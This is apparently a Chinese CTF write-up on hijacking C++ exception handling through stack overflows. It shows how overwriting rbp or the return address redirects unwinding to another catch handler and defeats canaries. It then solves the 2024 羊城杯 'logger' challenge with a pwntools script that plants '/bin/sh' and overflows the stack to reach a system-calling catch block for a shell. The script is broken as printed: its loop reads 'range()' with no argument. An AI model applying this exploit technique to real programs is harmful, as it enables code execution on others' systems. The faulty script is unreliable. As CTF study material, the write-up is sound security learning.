参考文章:溢出漏洞在异常处理中的攻击利用手法-上 - 先知社区 (aliyun.com)
本文前面原理部分几乎照抄,但是也补充了一些内容。
先看如下代码,这种检测溢出的方式是否合理呢?
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
class x {
public:
char buf[0x10];
x(void) {
printf("x:x() called\n");
}
~x(void) {
printf("x:~x() called\n");
}
};
void test() {
x a;
int cnt = 0x100;
size_t len = read(0,a.buf,cnt);
if(len > 0x10) {
throw "Buffer overflow";
}
}
int main()
{
try {
test();
throw 1;
}
catch(int x) {
printf("Int: %d\n", x);
}
catch(const char* s) {
printf("String: %s\n", s);
}
return 0;
}
当送入不同长度数据时,出现下面结果(rbp
距离buf为0x30)
数据长度为0x31时,0xa
刚好覆盖test()
的rbp的第一个字节时,发现程序crash
数据长度为0x39时,0xa
刚好覆盖test()
的返回地址的第一个字节时,程序也crash了
表面上,这种检查机制似乎是合理的。但实际上存在着漏洞。通过上面两个例子,我们可以猜测,栈上的内容(如这里的rbp和ret地址)与异常处理的流程相关。进一步大胆考虑,是否能够通过更改rbp和ret地址为合适的内容来实现对异常处理程序流的劫持。
c++异常处理函数的调用流程
当用户 throw 一个异常时,编译器会帮我们调用相应的函数分配 一个异常对象。异常对象由函数 __cxa_allocate_exception()
进行创建,最后由 __cxa_free_exception()
进行销毁。当我们在程序里执行了抛出异常后,编译器做了如下的事情:
- 调用
__cxa_allocate_exception
函数,分配一个异常对象 - 调用
__cxa_throw
函数,这个函数会将异常对象做一些初始化 __cxa_throw()
调用 Itanium ABI 里的_Unwind_RaiseException()
从而开始 unwind,unwind 分为两个阶段,分别进行搜索 catch 及清理调用栈_Unwind_RaiseException()
对调用链上的函数进行 unwind 时,调用 personality routine(__gxx_personality_v0
)- 如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。(cleanup)
_Unwind_RaiseException()
将控制权转到相应的 catch 代码(handler)- unwind 完成,用户代码继续执行
覆盖rbp为什么会crash
我们先直接走到程序结束的位置,看看到底是哪一步汇编出现了问题,如图
根据地址,我们可以在IDA中定位到这个ret
属于异常处理结束后最终的ret命令
因此可以确定是在执行handler时出错,我们直接将断点下至,这个handler的地方,也就是b *0x555555555393
。一进这个函数就发现了异常点,注意红线位置的rbp是我们覆盖后的rbp
此时就可以很容易的知道,由于这里使用leave; ret
,ret的地址为[rbp+8]
,即这里是可以通过合理控制rbp来控制返回地址。
这里我们佐以测试我们直接将rbp改为got表中的位置,使其尝试调用puts
函数,为了方便测试,这里直接关闭了pie缓解措施
成功在异常处理中,通过控制rbp来调用puts,这个方式与常规的栈转移的前半部分十分相像
当然需要注意的是,在一些程序中栈并不依靠rbp存储栈帧,而直接使用rsp增减固定偏移的方式,该方法也就无法使用。
覆盖返回地址为什么会crash?
这个问题的答案也很显然,通过上面的分析,是因为rbp不合法导致的。
那如果把rbp改成合法的地址,是不是就可以了呢?
这里rbp就继续沿用上面的got表,payload改为b'a'*n + p64(0x000000000404038) + b'b'*8
,发现程序还是crash了
注意到这里需要让rdx为一个指针,且rdx内容恰好是我们覆盖的ret地址,这里我们将ret地址覆盖为test
函数地址试试,payload进一步改为b'a'*n + p64(0x000000000404038) + p64(0x401249)
发现持续报错 terminate called after throwing an instance of ‘char const*’ ,在网上搜索,发现有个类似的报错,是因为异常并没有正常匹配。
所以这里报错是因为unwind流程与返回地址相关,导致流程在test函数内搜索catch handler
。这里抛出的异常对象是char*类型,自然会去寻找捕获char*类型异常对象的catch。而test函数中无对应类型的catch块,从而调用__teminate()
终止进程。
那么这里潜藏了一个含义,如果另一个函数内有对应类型的catch
块,是否可以通过更改ret
地址来使其执行另一个函数函数的handler
. 为了验证,我为原有的测试代码增添了一个函数backdoor
,并且在其他任何代码处均不会调用该函数.
void backdoor()
{
try{
printf("Here is backdoor!");
}
catch(const char* s) {
printf("backdoor catch: %s\n", s);
}
}
将ret地址修改为backdoor函数的try块地址范围内0x401252-0x401258
(在我的测试中发现,这个范围是个左开但是右侧不精确的范围,为了保证成功率可以使用左测边界+1的地址)。这里也成功调用的backdoor的catch handler
。
小结
通过过上述分析,我们发现异常处理本身存在一些问题,并且使得canary这样的栈保护机制无效。因为异常抛出后的代码不会执行,自然也不会检测canary,自然也不会调用stack_check_fail()
. 在此基础上我们发现了一些控制程序流的方式:
- 通过覆盖rbp,进而控制程序流走向。当然前提是栈帧的确使用rbp存储,因为一些情况下程序只依靠rsp增减。
- 通过覆盖ret地址,使异常被另外一个
handler
处理 - 在某些情况下还可以通过伪造覆盖类虚表的手法,使其在
cleanup handler
执行析构函数的时候劫持程序流(本文不做详细分析)
2024羊城杯–logger
主函数如下图:
trace函数如下:
这个函数的作用是每次向content(起始为0x404020 .data段)写入0x10个字节,能写9次
warn函数如下:
前面的都不用管,重点在if后面的内容。显然,这是一段判断有无栈溢出的代码,如果发生了栈溢出,即写入的字节数(v0)大于了0x10,那么就会执行if中的内容。
memcpy(byte_404200, buf, sizeof(byte_404200));
strcpy(dest, src);
strcpy(&dest[strlen(dest)], ": ");
strncat(dest, byte_404200, 0x100uLL);
puts(dest);
exception = __cxa_allocate_exception(8uLL); //创建异常对象,并且存储在excption中
*exception = src; //把src赋值给异常对象
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL);
这个题它没有try,catch函数,而是直接调用了__cxa_throw。
参数解释
exceptionObject
:- 这是指向异常对象的指针,通常是通过
__cxa_allocate_exception
函数分配的。这个对象包含了要抛出的异常的具体信息。在你的代码中,这个参数是exception
,它是一个指向异常对象的指针。
- 这是指向异常对象的指针,通常是通过
info
:- 这是一个指向
std::type_info
类型的指针,表示异常对象的类型信息。std::type_info
是一个提供类型信息的类,包含关于对象类型的元数据。在你的代码中,这个参数是(struct type_info *)&
typeinfo for’char,它表示要抛出的异常的类型是
char`(字符指针)。
- 这是一个指向
destructors
:- 这是一个指向析构函数的指针,通常用于在异常处理过程中清理资源。在 C++ 中,当抛出异常时,栈上的对象会被销毁,因此需要在处理异常时调用这些析构函数。在你的代码中,这个参数是
0LL
,表示没有自定义的析构函数需要调用,这通常意味着没有动态分配的资源需要清理。
- 这是一个指向析构函数的指针,通常用于在异常处理过程中清理资源。在 C++ 中,当抛出异常时,栈上的对象会被销毁,因此需要在处理异常时调用这些析构函数。在你的代码中,这个参数是
总结
__cxa_throw
函数的作用是抛出一个异常,具体的参数含义如下:exceptionObject
: 要抛出的异常实例。info
: 异常的类型信息。destructors
: 处理异常时需要调用的析构函数(如果有的话)。
这个函数是 C++ 异常处理机制的底层实现,通常不直接由用户代码调用,而是由编译器在处理 throw
语句时生成。
打开IDA,发现src指向的地址是0x4040A0,这个地址刚好是trace函数最后一次写的地址。也就是说我们可以控制这个值。
这个程序有一个后门catch可以供我们利用。
在这个catch中,调用了system,并且在调用system的时候rdi的值等于调用完cxa_begin_catch函数后rax的值,这个值就是异常对象的地址。在这个题中也就是src的地址。那么我们可以利用trace控制src为/bin/sh就能获得shell。
exp
from pwn import *
from pwncli import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
# p = remote('139.155.126.78',30134)
elf = ELF('./pwn')
#libc = ELF('')
def debug():
gdb.attach(p)
pause()
def choose(index):
p.sendlineafter(b'Your chocie:',str(index))
def trace(content):
choose(1)
p.sendafter(b'You can record log details here: ',content)
p.sendafter(b'Do you need to check the records? ',b'n')
def warn(content):
choose(2)
p.recvuntil(b'[!] Type your message here plz: ')
p.send(content)
def exit():
choose(3)
system = 0x401260
sys_got = elf.got['system']
for i in range():
trace(b'/bin/sh\x00'+p64(0))
#栈溢出 rbp+0x18需要为可写地址 mov qword ptr [rbp - 18h], rax
payload = b'a'*0x70 + p64(0x404020+0x18)+p64(0x401BC7)
debug()
warn(payload)
p.interactive()